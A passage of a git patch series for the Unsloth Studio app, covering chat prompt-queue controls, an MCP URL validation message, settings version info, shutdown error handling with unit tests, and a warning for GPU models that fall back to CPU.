   const [isComposing, setIsComposing] = useState(false);
@@ -1422,7 +1878,9 @@ function useImeComposerInputHandlers() {
       if (e.nativeEvent.isComposing || e.keyCode === 229) {
         composingRef.current = true;
         refreshStuckTimer();
-      } else if (composingRef.current) {
+        return;
+      }
+      if (composingRef.current) {
         // Candidate-confirming Enter can arrive as non-composing; keep it gated.
         if (e.key === "Enter") {
           if (!e.shiftKey) {
@@ -1438,8 +1896,12 @@ function useImeComposerInputHandlers() {
         // rather than waiting for the 2500ms watchdog.
         setCompositionState(false);
       }
+      if (submitOnEnter && e.key === "Enter" && !e.shiftKey) {
+        e.preventDefault();
+        e.currentTarget.form?.requestSubmit();
+      }
     },
-    [refreshStuckTimer, setCompositionState],
+    [refreshStuckTimer, setCompositionState, submitOnEnter],
   );
 
   // On macOS, switching input methods (e.g. ABC → Pinyin) while the textarea
@@ -2514,14 +2976,29 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
 
 const ComposerRightControls: FC<{
   disabled?: boolean;
+  queueDisabled?: boolean;
+  onQueueClick?: () => void;
   onSendClick?: (event: { preventDefault: () => void }) => void;
+  onStopClick?: () => void;
   pendingSend?: boolean;
   menuSide?: "top" | "bottom";
-}> = ({ disabled, onSendClick, pendingSend, menuSide }) => {
-  const isQueueRunning = _useQueueUI((s) => s.isRunning);
-  const queueCurrent = _useQueueUI((s) => s.current);
-  const queueTotal = _useQueueUI((s) => s.total);
-  const { stopQueue } = useContext(PromptQueueContext);
+  queueThreadIds: string[];
+}> = ({
+  disabled,
+  queueDisabled,
+  onQueueClick,
+  onSendClick,
+  onStopClick,
+  pendingSend,
+  menuSide,
+  queueThreadIds,
+}) => {
+  const queueEntry = usePromptQueueUI((s) =>
+    findPromptQueueEntry(s, queueThreadIds),
+  );
+  const isQueueRunning = Boolean(queueEntry);
+  const queueCurrent = queueEntry?.current ?? 0;
+  const queueTotal = queueEntry?.total ?? 0;
   return (
     <div className="aui-composer-action-wrapper flex shrink-0 items-center gap-1.5">
       <ReasoningToggle side={menuSide} />
@@ -2550,57 +3027,85 @@ const ComposerRightControls: FC<{
         </ComposerPrimitive.StopDictation>
       </ComposerPrimitive.If>
       {isQueueRunning ? (
-        <button
-          type="button"
-          onClick={stopQueue}
-          aria-label="Stop prompt queue"
-          className="ml-1.5 flex items-center gap-1.5 rounded-full border border-border/60 bg-muted/60 px-2.5 py-1 text-xs font-semibold text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+        <span
+          className="ml-1 flex h-7 items-center rounded-full bg-primary/10 px-2 text-[11px] font-semibold text-primary"
+          aria-live="polite"
         >
-          <SquareIcon className="size-2.5 shrink-0 fill-current" />
-          <span className="tabular-nums">
-            Stop queue {queueCurrent}/{queueTotal}
-          </span>
-        </button>
-      ) : (
-        <>
-          <AuiIf condition={({ thread }) => !thread.isRunning}>
-            <ComposerPrimitive.Send asChild={true}>
-              <TooltipIconButton
-                tooltip={pendingSend ? "Waiting for documents…" : "Send message"}
-                side="bottom"
-                type="submit"
-                variant="default"
-                size="icon"
-                // Stay clickable while docs index so a click can queue the send;
-                // disabled only once a send is parked.
-                disabled={disabled || pendingSend}
-                onClick={(event) => onSendClick?.(event)}
-                className="aui-composer-send ml-1.5 size-8 rounded-full"
-                aria-label="Send message"
-              >
-                {pendingSend ? (
-                  <Spinner className="size-[18px]" />
-                ) : (
-                  <ArrowUpIcon className="aui-composer-send-icon size-[21px] stroke-2" />
-                )}
-              </TooltipIconButton>
-            </ComposerPrimitive.Send>
-          </AuiIf>
-          <AuiIf condition={({ thread }) => thread.isRunning}>
+          <span className="tabular-nums">Queue {queueCurrent}/{queueTotal}</span>
+        </span>
+      ) : null}
+      <AuiIf condition={({ thread }) => !thread.isRunning && !isQueueRunning}>
+        <ComposerPrimitive.Send asChild={true}>
+          <TooltipIconButton
+            tooltip={pendingSend ? "Waiting for documents…" : "Send message"}
+            side="bottom"
+            type="submit"
+            variant="default"
+            size="icon"
+            // Stay clickable while docs index so a click can queue the send;
+            // disabled only once a send is parked.
+            disabled={disabled || pendingSend}
+            onClick={(event) => onSendClick?.(event)}
+            className="aui-composer-send ml-1.5 size-8 rounded-full"
+            aria-label="Send message"
+          >
+            {pendingSend ? (
+              <Spinner className="size-[18px]" />
+            ) : (
+              <ArrowUpIcon className="aui-composer-send-icon size-[21px] stroke-2" />
+            )}
+          </TooltipIconButton>
+        </ComposerPrimitive.Send>
+      </AuiIf>
+      {isQueueRunning ? (
+        <AuiIf condition={({ thread }) => !thread.isRunning}>
+          <TooltipIconButton
+            tooltip="Queue message"
+            side="bottom"
+            type="button"
+            variant="default"
+            size="icon"
+            disabled={disabled || queueDisabled}
+            onClick={onQueueClick}
+            className="aui-composer-send ml-1.5 size-8 rounded-full"
+            aria-label="Queue message"
+          >
+            <ArrowUpIcon className="aui-composer-send-icon size-[21px] stroke-2" />
+          </TooltipIconButton>
+        </AuiIf>
+      ) : null}
+      <AuiIf condition={({ thread }) => thread.isRunning}>
+        <div className="ml-1.5 flex items-center">
+          {queueDisabled ? (
             <ComposerPrimitive.Cancel asChild={true}>
               <Button
                 type="button"
                 variant="default"
                 size="icon"
-                className="aui-composer-cancel ml-1.5 size-8 rounded-full"
+                className="aui-composer-cancel size-8 rounded-full"
                 aria-label="Stop generating"
+                onClick={isQueueRunning ? onStopClick : undefined}
               >
                 <SquareIcon className="aui-composer-cancel-icon size-3 fill-current" />
               </Button>
             </ComposerPrimitive.Cancel>
-          </AuiIf>
-        </>
-      )}
+          ) : (
+            <TooltipIconButton
+              tooltip="Queue message"
+              side="bottom"
+              type="button"
+              variant="default"
+              size="icon"
+              disabled={queueDisabled}
+              onClick={onQueueClick}
+              className="aui-composer-send size-8 rounded-full"
+              aria-label="Queue message"
+            >
+              <ArrowUpIcon className="aui-composer-send-icon size-[21px] stroke-2" />
+            </TooltipIconButton>
+          )}
+        </div>
+      </AuiIf>
     </div>
   );
 };
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index c15950c655..3de3ef6dab 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -69,6 +69,7 @@ import {
 import { isChatThreadDeleted } from "./utils/chat-thread-tombstones";
 import { syncExportedRepositoryToBackend } from "./utils/delete-thread-message";
 import { getImageInputUnavailableReason } from "./utils/image-input-support";
+import { requestPromptQueueStop } from "./utils/prompt-queue-boundary";
 import { isAssistantLocalThreadId } from "./utils/thread-ids";
 
 const pendingHistoryAppendByMessageId = new Map<string, Promise<void>>();
@@ -1047,6 +1048,17 @@ function createRuntimeHook(modelType: ModelType, pairId?: string) {
   };
 }
 
+function stopChatRun(threadId: string | null | undefined) {
+  if (!threadId) {
+    return;
+  }
+  try {
+    useChatRuntimeStore.getState().cancelByThreadId[threadId]?.();
+  } catch {
+    // The run may have ended while navigation was mounting.
+  }
+}
+
 function ThreadAutoSwitch({
   threadId,
   syncActiveThreadId = true,
@@ -1060,6 +1072,10 @@ function ThreadAutoSwitch({
 
   useEffect(() => {
     if (!isLoading && mainThreadId !== threadId) {
+      if (syncActiveThreadId) {
+        requestPromptQueueStop();
+        stopChatRun(mainThreadId);
+      }
       const switchResult = aui.threads().switchToThread(threadId) as unknown;
       if (
         switchResult &&
@@ -1089,11 +1105,16 @@ function ThreadNewChatSwitch({
 }: { nonce: string }): ReactElement | null {
   const aui = useAui();
   const isLoading = useAuiState(({ threads }) => threads.isLoading);
+  const mainThreadId = useAuiState(({ threads }) => threads.mainThreadId);
+  const mainThreadIdRef = useRef(mainThreadId);
+  mainThreadIdRef.current = mainThreadId;
 
   useEffect(() => {
     if (isLoading) {
       return;
     }
+    requestPromptQueueStop();
+    stopChatRun(mainThreadIdRef.current);
     // Switch to a fresh local thread without persisting it yet; persistence
     // still happens on first message append.
     void aui.threads().switchToNewThread();
diff --git a/studio/frontend/src/features/chat/utils/prompt-queue-boundary.ts b/studio/frontend/src/features/chat/utils/prompt-queue-boundary.ts
new file mode 100644
index 0000000000..ac1d973bfe
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/prompt-queue-boundary.ts
@@ -0,0 +1,8 @@
+export const PROMPT_QUEUE_STOP_EVENT = "unsloth:prompt-queue-stop";
+
+export function requestPromptQueueStop() {
+  if (typeof window === "undefined") {
+    return;
+  }
+  window.dispatchEvent(new Event(PROMPT_QUEUE_STOP_EVENT));
+}

From fbe4d08ad09a7635d79b483c1eb81dc5140434b0 Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Mon, 15 Jun 2026 23:56:41 +0530
Subject: [PATCH 19/91] fix  validation error for stdio mcp (#6341)

---
 studio/backend/routes/mcp_servers.py | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/studio/backend/routes/mcp_servers.py b/studio/backend/routes/mcp_servers.py
index 37d99a222e..80cd8e1437 100644
--- a/studio/backend/routes/mcp_servers.py
+++ b/studio/backend/routes/mcp_servers.py
@@ -77,13 +77,17 @@ def _validate_url(url: str) -> str:
         return trimmed
     parsed = urlparse(trimmed)
     if parsed.scheme not in ("http", "https"):
-        detail = (
-            "MCP server address must start with http:// or https:// "
-            "(for example https://example.com/mcp)."
-        )
-        # Host-scoped wording: self-hosted hosts can opt in via the env var.
         if _looks_like_command(trimmed):
-            detail += " Running a local command is not enabled on this server."
+            detail = (
+                "Local commands aren't enabled on this server. To allow them, "
+                "set UNSLOTH_STUDIO_ALLOW_STDIO_MCP=1 and restart Studio, or use "
+                "an http:// or https:// URL instead."
+            )
+        else:
+            detail = (
+                "MCP server address must start with http:// or https:// "
+                "(for example https://example.com/mcp)."
+            )
         raise HTTPException(status_code = 400, detail = detail)
     if not parsed.netloc:
         raise HTTPException(status_code = 400, detail = "url is missing a host")

From 5fa253c99e2772b2e69157d5771dd48018ff3f7b Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 15 Jun 2026 19:41:12 +0100
Subject: [PATCH 20/91] Studio: add Studio version info to General settings
 (#5675)

* chore: add Studio version info to General settings

* chore: cache Studio version fetch

* fix: clear cached Studio version request on failure

* fix: retry incomplete Studio version fetch

* fix: remove cached Studio version fetch

* chore: move connections below API

* fix: localize studio version rows
---
 .../components/studio-version-section.tsx     | 64 +++++++++++++------
 .../src/features/settings/settings-dialog.tsx | 12 ++--
 .../src/features/settings/tabs/about-tab.tsx  |  1 +
 .../features/settings/tabs/general-tab.tsx    |  2 +
 4 files changed, 55 insertions(+), 24 deletions(-)

diff --git a/studio/frontend/src/features/settings/components/studio-version-section.tsx b/studio/frontend/src/features/settings/components/studio-version-section.tsx
index 9b0c513cbf..2c23e14f97 100644
--- a/studio/frontend/src/features/settings/components/studio-version-section.tsx
+++ b/studio/frontend/src/features/settings/components/studio-version-section.tsx
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { getAuthToken } from "@/features/auth";
+import { getAuthToken, refreshSession } from "@/features/auth";
 import { useT } from "@/i18n";
 import { apiUrl } from "@/lib/api-base";
 import { useEffect, useState } from "react";
@@ -9,29 +9,57 @@ import { SettingsRow } from "./settings-row";
 import { SettingsSection } from "./settings-section";
 
 type ApiObject = Record<string, unknown>;
-
-async function fetchStudioVersions(): Promise<{
+type StudioVersions = {
   packageVersion: string | null;
   studioVersion: string | null;
-}> {
+};
+
+const EMPTY_VERSIONS: StudioVersions = {
+  packageVersion: null,
+  studioVersion: null,
+};
+
+function parseStudioVersions(data: ApiObject): StudioVersions {
+  const packageVersion = data["version"];
+  const studioVersion = data["studio_version"];
+  return {
+    packageVersion:
+      typeof packageVersion === "string" ? packageVersion : null,
+    studioVersion: typeof studioVersion === "string" ? studioVersion : null,
+  };
+}
+
+function hasAllVersions(versions: StudioVersions): boolean {
+  return Boolean(versions.packageVersion && versions.studioVersion);
+}
+
+async function requestStudioVersions(
+  token: string | null,
+): Promise<StudioVersions> {
+  const headers = new Headers();
+  if (token) headers.set("Authorization", `Bearer ${token}`);
+  const res = await fetch(apiUrl("/api/health"), { headers });
+  if (!res.ok) {
+    return EMPTY_VERSIONS;
+  }
+  const data = (await res.json()) as ApiObject;
+  return parseStudioVersions(data);
+}
+
+async function fetchStudioVersions(): Promise<StudioVersions> {
   try {
     const token = getAuthToken();
-    const headers = new Headers();
-    if (token) headers.set("Authorization", `Bearer ${token}`);
-    const res = await fetch(apiUrl("/api/health"), { headers });
-    if (!res.ok) {
-      return { packageVersion: null, studioVersion: null };
+    const versions = await requestStudioVersions(token);
+    if (!token || hasAllVersions(versions)) {
+      return versions;
     }
-    const data = (await res.json()) as ApiObject;
-    const packageVersion = data.version;
-    const studioVersion = data.studio_version;
-    return {
-      packageVersion:
-        typeof packageVersion === "string" ? packageVersion : null,
-      studioVersion: typeof studioVersion === "string" ? studioVersion : null,
-    };
+
+    if (await refreshSession()) {
+      return requestStudioVersions(getAuthToken());
+    }
+    return versions;
   } catch {
-    return { packageVersion: null, studioVersion: null };
+    return EMPTY_VERSIONS;
   }
 }
 
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0ddba11b3a..a2da6c201b 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -50,18 +50,18 @@ const TABS: TabDef[] = [
     icon: PaintBrush02Icon,
   },
   { id: "chat", labelKey: "settings.tabs.chat", icon: Message01Icon },
-  {
-    id: "connections",
-    labelKey: "settings.tabs.connections",
-    icon: CloudIcon,
-    badgeKey: "common.new",
-  },
   {
     id: "api-keys",
     labelKey: "settings.tabs.apiKeys",
     icon: Globe02Icon,
     badgeKey: "common.new",
   },
+  {
+    id: "connections",
+    labelKey: "settings.tabs.connections",
+    icon: CloudIcon,
+    badgeKey: "common.new",
+  },
   { id: "about", labelKey: "settings.tabs.about", icon: HelpCircleIcon },
 ];
 
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index 2394e2ad92..fc4a0a953e 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -125,6 +125,7 @@ export function AboutTab() {
           {hw.gpus.map((gpu, i) => (
             <SettingsRow
               // Index key: device order from the backend is stable per request.
+              // biome-ignore lint/suspicious/noArrayIndexKey: The hardware API does not expose a stable device id.
               key={i}
               label={
                 hw.gpus.length > 1
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index c8cc27649d..64408c9e90 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -296,6 +296,8 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
+      <StudioVersionSection />
+
       <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
         <SettingsRow
           label={t("settings.general.helperLlm.preloadOnStartup")}

From 1ef3f64d491d7e483592bd0e5b548c2e14d07d52 Mon Sep 17 00:00:00 2001
From: "pre-commit-ci[bot]"
 <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Date: Mon, 15 Jun 2026 12:43:26 -0700
Subject: [PATCH 21/91] [pre-commit.ci] pre-commit autoupdate (#6343)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

updates:
- [github.com/astral-sh/ruff-pre-commit: v0.15.16 → v0.15.17](https://github.com/astral-sh/ruff-pre-commit/compare/v0.15.16...v0.15.17)

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .pre-commit-config.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index cffbf73cd5..bf2a0c8e7c 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -1,6 +1,6 @@
 repos:
   - repo: https://github.com/astral-sh/ruff-pre-commit
-    rev: v0.15.16
+    rev: v0.15.17
     hooks:
       - id: ruff
         args:

From 9fc21b397772f361ebc4cd95850ba0daf79d5d11 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 22:51:46 -0700
Subject: [PATCH 22/91] Studio: make lifespan shutdown resilient to a dead
 default executor (#6307)

* Studio: make lifespan shutdown resilient to a dead default executor

On an abrupt shutdown (closing the Windows console window, or interpreter
teardown racing uvicorn's graceful stop) the event loop's default thread-pool
executor can already be shut down by the time the FastAPI lifespan shutdown
runs. The first post-yield statement was an unguarded
`await asyncio.to_thread(terminate_hub_downloads)`, so executor.submit raised
`RuntimeError: cannot schedule new futures after shutdown`. That raise
propagated up through every nested merged_lifespan __aexit__, aborted the rest
of the cleanup (DEVICE reset, compiled-cache clear), and surfaced as
"Application shutdown failed. Exiting."

Extract the post-yield cleanup into utils/lifespan_shutdown.run_lifespan_shutdown
and guard each step independently. On the to_thread RuntimeError, fall back to
running the (already best-effort, quick) terminate inline on the loop thread so
shutdown still completes cleanly. The helper is dependency-injected and free of
the heavy backend import graph, so it is unit-tested in isolation.

Add tests/test_lifespan_shutdown.py (4 cases: dead-executor survival, normal
path, terminate error, clear error). Validated on windows-latest and
ubuntu-latest runners on Python 3.13.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: only retry terminate inline when scheduling fails, not when the body raises

Address review feedback on the shutdown helper: the previous
`except RuntimeError` after `asyncio.to_thread(terminate_downloads)` could
not tell a dead-executor scheduling failure from a RuntimeError raised by
terminate_downloads itself, so a body-side RuntimeError on a healthy executor
ran the cleanup a second time inline.

Schedule via loop.run_in_executor and await separately: a dead default executor
raises synchronously at submit time (inline fallback), while a body exception
only surfaces when the future is awaited (logged, never retried). Add a
regression test that a body RuntimeError runs terminate exactly once.

* Studio: run terminate cleanup with a copied context (parity with asyncio.to_thread)

Simulation across the executor-state x exception x DEVICE matrix surfaced the one
behavioural difference from the original implementation: asyncio.to_thread copies
the caller's contextvars into the worker thread, while a bare
run_in_executor(None, fn) does not. Restore exact parity by scheduling
ctx.run(terminate_downloads) from a contextvars.copy_context(), so the refactor
is a behavioural no-op apart from the intended dead-executor recovery. Add a
regression test asserting the copied context is visible to terminate_downloads.

* Studio: tighten comments in lifespan_shutdown helper and tests

Condense the verbose docstrings/comments to the non-obvious rationale and drop
the self-evident ones. Verified comment-only with comment_tools.py check
--strip-docstrings (code signature unchanged); tests and sims still green.

* Studio: address review nits on lifespan shutdown helper

Annotate hw_module as types.ModuleType, reword the schedule/await comment
(inline fallback runs, it does not retry), and add a test for the public
loop.shutdown_default_executor() path (the 'Executor shutdown has been called'
RuntimeError that real uvicorn shutdown takes, distinct from the submit-time
'cannot schedule new futures after shutdown').

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/main.py                        |  10 +-
 .../backend/tests/test_lifespan_shutdown.py   | 134 ++++++++++++++++++
 studio/backend/utils/lifespan_shutdown.py     |  56 ++++++++
 3 files changed, 197 insertions(+), 3 deletions(-)
 create mode 100644 studio/backend/tests/test_lifespan_shutdown.py
 create mode 100644 studio/backend/utils/lifespan_shutdown.py

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 2435efba21..08c7bc6826 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -296,6 +296,7 @@ from utils.hardware import (
 import utils.hardware.hardware as _hw_module
 
 from utils.cache_cleanup import clear_unsloth_compiled_cache
+from utils.lifespan_shutdown import run_lifespan_shutdown
 from utils.native_path_leases import native_path_leases_supported
 from utils.update_status import (
     get_studio_install_source_status,
@@ -463,9 +464,12 @@ async def lifespan(app: FastAPI):
     else:
         app.state.bootstrap_password = storage.get_bootstrap_password()
     yield
-    await asyncio.to_thread(terminate_hub_downloads)
-    _hw_module.DEVICE = None
-    clear_unsloth_compiled_cache()
+
+    await run_lifespan_shutdown(
+        terminate_hub_downloads,
+        clear_unsloth_compiled_cache,
+        _hw_module,
+    )
 
 
 app = FastAPI(
diff --git a/studio/backend/tests/test_lifespan_shutdown.py b/studio/backend/tests/test_lifespan_shutdown.py
new file mode 100644
index 0000000000..0e3a34441d
--- /dev/null
+++ b/studio/backend/tests/test_lifespan_shutdown.py
@@ -0,0 +1,134 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for run_lifespan_shutdown: a dead default executor (the
+abrupt-shutdown teardown race) must not abort the remaining cleanup. The helper
+is dependency-injected, so these need only structlog."""
+
+import asyncio
+import contextvars
+import types
+
+from utils.lifespan_shutdown import run_lifespan_shutdown
+
+
+def _counter():
+    box = {"n": 0}
+
+    def _fn():
+        box["n"] += 1
+
+    return box, _fn
+
+
+def test_run_lifespan_shutdown_survives_dead_default_executor():
+    term_box, terminate = _counter()
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    async def _drive():
+        loop = asyncio.get_running_loop()
+        # Kill the default executor to mimic the teardown race.
+        await asyncio.to_thread(lambda: None)
+        loop._default_executor.shutdown(wait = True)
+        await run_lifespan_shutdown(terminate, clear, hw)
+
+    asyncio.run(_drive())
+
+    assert term_box["n"] == 1, "terminate must run via inline fallback"
+    assert clear_box["n"] == 1, "clear must still run after the to_thread failure"
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_survives_shutdown_default_executor():
+    """Production path: loop.shutdown_default_executor() makes run_in_executor raise
+    'Executor shutdown has been called'; the helper must still recover inline."""
+    term_box, terminate = _counter()
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    async def _drive():
+        await asyncio.get_running_loop().shutdown_default_executor()
+        await run_lifespan_shutdown(terminate, clear, hw)
+
+    asyncio.run(_drive())
+
+    assert term_box["n"] == 1, "terminate must run via inline fallback"
+    assert clear_box["n"] == 1
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_normal_path():
+    """Healthy executor: each step runs exactly once."""
+    term_box, terminate = _counter()
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    asyncio.run(run_lifespan_shutdown(terminate, clear, hw))
+
+    assert term_box["n"] == 1
+    assert clear_box["n"] == 1
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_swallows_terminate_errors():
+    """A terminate failure must not block later cleanup."""
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    def _boom():
+        raise ValueError("boom")
+
+    asyncio.run(run_lifespan_shutdown(_boom, clear, hw))
+
+    assert clear_box["n"] == 1, "later cleanup must run even when terminate raises"
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_swallows_clear_errors():
+    """A clear failure must not raise out of shutdown."""
+    term_box, terminate = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    def _boom():
+        raise ValueError("boom")
+
+    asyncio.run(run_lifespan_shutdown(terminate, _boom, hw))
+
+    assert term_box["n"] == 1
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_does_not_retry_body_runtime_error():
+    """A body-side RuntimeError (healthy executor) must run terminate once, not retry inline."""
+    term_box, _ = _counter()
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    def _boom():
+        term_box["n"] += 1
+        raise RuntimeError("body failed")
+
+    asyncio.run(run_lifespan_shutdown(_boom, clear, hw))
+
+    assert term_box["n"] == 1, "body RuntimeError must not be retried inline"
+    assert clear_box["n"] == 1, "later cleanup must still run"
+    assert hw.DEVICE is None
+
+
+def test_run_lifespan_shutdown_preserves_contextvars():
+    """terminate runs in a copy of the caller's context (parity with asyncio.to_thread)."""
+    cv = contextvars.ContextVar("unsloth_test_cv")
+    cv.set("bound-value")
+    seen = []
+    clear_box, clear = _counter()
+    hw = types.SimpleNamespace(DEVICE = "cuda:0")
+
+    def terminate():
+        seen.append(cv.get("UNSET"))
+
+    asyncio.run(run_lifespan_shutdown(terminate, clear, hw))
+
+    assert seen == ["bound-value"], "terminate must run with the caller's contextvars"
+    assert clear_box["n"] == 1
+    assert hw.DEVICE is None
diff --git a/studio/backend/utils/lifespan_shutdown.py b/studio/backend/utils/lifespan_shutdown.py
new file mode 100644
index 0000000000..6e8371e53d
--- /dev/null
+++ b/studio/backend/utils/lifespan_shutdown.py
@@ -0,0 +1,56 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Resilient FastAPI lifespan shutdown cleanup.
+
+On an abrupt shutdown (Windows console-close, interpreter teardown racing
+uvicorn) the loop's default executor may already be dead, so an unguarded
+``asyncio.to_thread`` raise here would abort the nested-lifespan unwind and
+surface as "Application shutdown failed". Dependency-injected so it can be
+unit-tested without the heavy backend import graph.
+"""
+
+import asyncio
+import contextvars
+import types
+from typing import Callable
+
+import structlog
+
+logger = structlog.get_logger(__name__)
+
+
+async def run_lifespan_shutdown(
+    terminate_downloads: Callable[[], None],
+    clear_compiled_cache: Callable[[], None],
+    hw_module: types.ModuleType,
+) -> None:
+    """Run each shutdown step guarded so one failure can't skip the others; never raise."""
+    loop = asyncio.get_running_loop()
+    # Copy context for parity with asyncio.to_thread. Schedule and await
+    # separately so a dead executor (raises at submit) runs inline, while a
+    # body exception (raised at await) is logged, not re-run.
+    ctx = contextvars.copy_context()
+    try:
+        future = loop.run_in_executor(None, ctx.run, terminate_downloads)
+    except RuntimeError:
+        # Executor gone: run inline on the loop thread.
+        try:
+            ctx.run(terminate_downloads)
+        except Exception as exc:
+            logger.warning("terminate_downloads (inline) failed at shutdown: %s", exc)
+    else:
+        try:
+            await future
+        except Exception as exc:
+            logger.warning("terminate_downloads failed at shutdown: %s", exc)
+
+    try:
+        hw_module.DEVICE = None
+    except Exception as exc:
+        logger.warning("clearing hardware DEVICE failed at shutdown: %s", exc)
+
+    try:
+        clear_compiled_cache()
+    except Exception as exc:
+        logger.warning("clear_compiled_cache failed at shutdown: %s", exc)

From e73a89ff8271bb70e0636fabe84d6c00cc004db9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 15 Jun 2026 23:06:44 -0700
Subject: [PATCH 23/91] Studio: warn when a GPU model silently loaded on CPU
 (#6339)

* Studio: warn when a GPU model silently loaded on CPU

llama-server can serve HTTP 200 while running a model entirely on CPU when its GPU backend fails to init, so Studio could run a GGUF on CPU without saying so (#5807 / #5106 / #5830). The silent-CPU warning already exists but stopped firing on current llama.cpp because _classify_gpu_offload keyed only on the dropped 'model buffer size' lines. Add a shared classify_gpu_offload_lines (offloaded N/M counts, GPU model-buffer markers excluding _Host, device_info disconfirm-only) and delegate to it so the warning fires again. Log-only: no install or load behavior changes.

Pure classification of already-captured startup log lines, run once after load; no new subprocess, no slowdown.

* Studio: key the CPU-offload warning on the main model, not a draft

With MTP/speculative decoding llama-server logs 'offloaded N/M layers to GPU' twice: once for the main model and once for the small draft model. The old scan returned True on any non-zero count, so a drafter that fits on GPU while the main GGUF runs on CPU suppressed the warning (the Qwen3.6-27B-MTP case). Decide on the line with the most layers (the main model) instead, so a drafter cannot mask a main model on CPU.
---
 studio/backend/core/inference/llama_cpp.py    | 116 +++++++++++++++---
 .../tests/test_llama_cpp_context_fit.py       | 109 +++++++++++++++-
 2 files changed, 206 insertions(+), 19 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 74e7a8f220..59628c9e46 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -75,6 +75,99 @@ from state.tool_approvals import (
 logger = get_logger(__name__)
 
 
+# llama-server can serve HTTP 200 while running a model entirely on CPU when a
+# GPU backend fails to init (#5807 / #5106 / #5830). Classify the startup log so
+# Studio can warn. Priority: explicit "offloaded N/M layers to GPU" counts
+# (authoritative), then GPU "model buffer size" lines (host-pinned _Host
+# excluded), then the "device_info:" device table (disconfirm only).
+_GPU_OFFLOAD_MARKERS = (
+    "CUDA",
+    "ROCm",
+    "ROCM",
+    "HIP",
+    "Metal",
+    "Vulkan",
+    "OpenCL",
+    "SYCL",
+    "MUSA",
+    "CANN",
+)
+_OFFLOADED_LAYERS_RE = re.compile(
+    r"offloaded\s+(\d+)\s*/\s*(\d+)\s+layers?\s+to\s+gpu", re.IGNORECASE
+)
+_DEVICE_ROW_RE = re.compile(
+    r"-\s*(CUDA|ROCm|ROCM|HIP|Metal|Vulkan|SYCL|OpenCL|MUSA|CANN|CPU)\w*\s*:",
+    re.IGNORECASE,
+)
+_GPU_DEVICE_PREFIXES = (
+    "cuda",
+    "rocm",
+    "hip",
+    "metal",
+    "vulkan",
+    "sycl",
+    "opencl",
+    "musa",
+    "cann",
+)
+
+
+def classify_gpu_offload_lines(lines: "list[str]") -> Optional[bool]:
+    """True if the model landed on a GPU, False if it stayed on CPU despite GPU
+    intent, None when the log has no usable signal."""
+    # Counted offload is authoritative, keyed on the model with the most layers.
+    # A separate MTP/draft model logs its own (much smaller) "offloaded N/M"
